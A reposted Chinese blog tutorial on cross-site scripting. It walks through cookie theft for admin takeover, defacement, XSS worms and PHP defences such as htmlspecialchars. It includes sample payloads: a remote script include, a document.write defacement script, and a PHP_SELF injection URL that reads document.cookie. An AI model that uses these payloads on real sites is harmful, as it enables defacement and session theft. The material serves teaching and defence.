跨站攻擊,即Cross Site Script Execution(通常簡寫為XSS,因為CSS與層疊樣式表同名,故改為XSS) 是指攻擊者利用網站程式對使用者輸入過濾不足,輸入可以顯示在頁面上對其他使用者造成影響的HTML代碼,進而盜取使用者資料、利用使用者身份進行某種動作或者對通路者進行病毒侵害的一種攻擊方式。很多人對于XSS的利用大多停留在彈框框的程度,一些廠商對XSS也是不以為然,都認為安全級别很低,甚至忽略不計。
跨站攻擊的一般步驟:
1.攻擊者确定目标後,向目标站點可以寫入資料庫的地方寫入攻擊代碼
2.網站的管理者在浏覽攻擊代碼是自身資訊洩漏
3.惡意的代碼把擷取的資訊傳回給攻擊者
4.攻擊者根據擷取到的資訊來入侵目标
<a href="http://blog.51cto.com/attachment/201308/213335569.png" target="_blank"></a>
<a href="http://blog.51cto.com/attachment/201308/213338204.png" target="_blank"></a>
XSS漏洞利用
一、竊取Cookie
對于跨站的攻擊方法,使用最多的莫過于cookie竊取了,擷取cookie後直接借助“明小子”工具或其它可修改cookie的浏覽器(如裝有Cookies Edit插件的Firefox)将cookie修改為擷取的cookie,這樣即可獲得網站的管理權限。
<a href="http://blog.51cto.com/attachment/201308/213342539.png" target="_blank"></a>
<a href="http://blog.51cto.com/attachment/201308/213342287.png" target="_blank"></a>
<a href="http://blog.51cto.com/attachment/201308/213345409.png" target="_blank"></a>
二.滲透路由器
<a href="http://blog.51cto.com/attachment/201308/213347511.png" target="_blank"></a>
<a href="http://blog.51cto.com/attachment/201308/213352819.png" target="_blank"></a>
三、讀取本地檔案
在不同的浏覽器中對本地檔案的讀取有着不同的限制,之前XEYE team曾有過統計,内容如下:
<a href="http://blog.51cto.com/attachment/201308/213355356.png" target="_blank"></a>
四、Hacking HomePage
相信對于很多初學Hack的朋友,都會對那一張張的黑頁獨有情鐘,尤其是目前中美黑客大戰中,中國人挂在白宮網站上黑頁,讓人至今記憶猶新!本節主要就是利用XSS來黑掉别人部落格首頁,但這裡的黑頁與入侵伺服器來修改首頁有很大差別,利用XSS來黑頁其實并不是修改伺服器上的頁面,它隻是通過JavaScript,CSS及其它WEB技術來修改頁面。這主要就是通過注入js代碼,然後在背景執行以達到盜取cookie或劫持浏覽器的目的,這些代碼往往都是一些HTML或JavaScript代碼(往往是使用InnerHTML或者document.write指令來動态建立文本,圖像及其它資料資訊)。
下的“自定義header”一欄為例。我們先在向其寫入下列語句:
<script src ="http://localhost/1.js"></script>
接下來編寫1.js代碼:
document.write("<center><h1><font color=#FF0000>Hacked By riusksk</font></h1></cneter>");
document.write("<center><h2><font color=#000000>Just for test !</font><h2></center><p><imgsrc=http://filer.blogbus.com/6233861/resource_6233861_1283677044i.jpg></p><p><!--");
上面的“<!—”主要是用于将後面的頁面内容注釋掉,避免顯示,但這在各浏覽器中情況會有所不同,比如我在Chrome中可以起到此作用,但在其它浏覽器達不到此效果了,得采用其它注釋語句方可,或者先用document.body.innerHTML = '';來清空body主體中的html代碼,然後再逐一利用document.createElement建立元素也是可行的。這裡我是以Chrome作為測試用的浏覽器
<a href="http://blog.51cto.com/attachment/201308/213358564.png" target="_blank"></a>
五、跨站中的“溢出攻擊”
相信熟悉緩沖區溢出攻擊的朋友,都知道其中的原理:通過向堆棧中填充過多的位元組以覆寫傳回位址,進而控制程式的執行流程。這裡我要講的XSS攻擊方式與溢出有着類似的特點,但正如上面所講到的,結果還是漏洞一堆,看來很多技術人員把部落格放在百度空間還是有一定道理,至少它比這些部落格網站安全多了。
六、XSS Worm
随着WEB2.0時代的到來,而Ajax就是WEB2.0的标志性技術。AJAX即“Asynchronous JavaScript and XML”(異步JavaScript和XML),AJAX并非縮寫詞,而是由Jesse James Gaiiett創造的名詞,是指一種建立互動式網頁應用的網頁開發技術。Ajax的出現為XSS蠕蟲的發展提供的很大的便利,也是以加速了xss worm技術的傳播。這裡我們就以之前爆發的Twitte蠕蟲為例進行分析,該跨站漏洞主要出現在"Settings" 菜單下的 "Name"文本域以及"More info URL"文本域,是由一位來自美國紐約的17歲小夥子寫的,當時他花了2小時就全搞定了,代碼太多了,就不說了。有興趣的可以上網百度一下。
七、DDOS攻擊
XSS攻擊的種類
<a href="http://blog.51cto.com/attachment/201308/213358268.png" target="_blank"></a>
xss的發掘
<a href="http://blog.51cto.com/attachment/201308/213359672.png" target="_blank"></a>
<a href="http://blog.51cto.com/attachment/201308/213402928.png" target="_blank"></a>
XSS攻擊的防範(網站)
1.代碼修改的防禦
利用htmlspecialchars函數将特殊字元轉換成HTML編碼
函數原型
string htmlspecialchars (string string, int quote_style, string charset)
string 是要編碼的字元串
quote_style 可選,值可為ENT_COMPAT、ENT_QUOTES、ENT_NOQUOTES,預設值ENT_COMPAT,表示隻轉換雙引号不轉換單引号。ENT_QUOTES,表示雙引号和單引号都要轉換。ENT_NOQUOTES,表示雙引号和單引号都不轉換
charset 可選,表示使用的字元集
函數會将下列特殊字元轉換成html編碼:
& —-> &
" —-> "
‘ —-> ‘
< —-> <
> —-> >
$_SERVER["PHP_SELF"]變量的跨站
在某個表單中,如果送出參數給自己,會用這樣的語句
<form action="<?php echo $_SERVER["PHP_SELF"];?>" method="POST">
……
</form> $_SERVER["PHP_SELF"]變量的值為目前頁面名稱
例:
http://www.sectop.com/get.php
get.php中上述的表單
那麼我們送出
http://www.sectop.com/get.php/"><script>alert(document.cookie);</script>
那麼表單變成
<form action="get.php/"><script>alert(document.cookie);</script>" method="POST">
跨站腳本被插進去了
防禦方法還是使用htmlspecialchars過濾輸出的變量,或者送出給自身檔案的表單使用
<form action="" method="post">
這樣直接避免了$_SERVER["PHP_SELF"]變量被跨站
2.使用入侵檢測産品的XSS防禦
3.對關鍵字進行過濾,有的關鍵字在使用時被URL或其他的轉碼,是以在過濾式也應當考慮到
4.可以使用統一的編碼,如UTF8
總結:
作為開發人員,要有一定的安全意識,當編寫一段代碼的時候,要站在攻方的角度,來思考程式的安全性。
作為安全人員,要站在開發人員的角度來思考,推測開發人員的邏輯,尋找缺陷,并加以利用。
本文轉自Tar0 51CTO部落格,原文連結:http://blog.51cto.com/tar0cissp/1281705,如需轉載請自行聯系原作者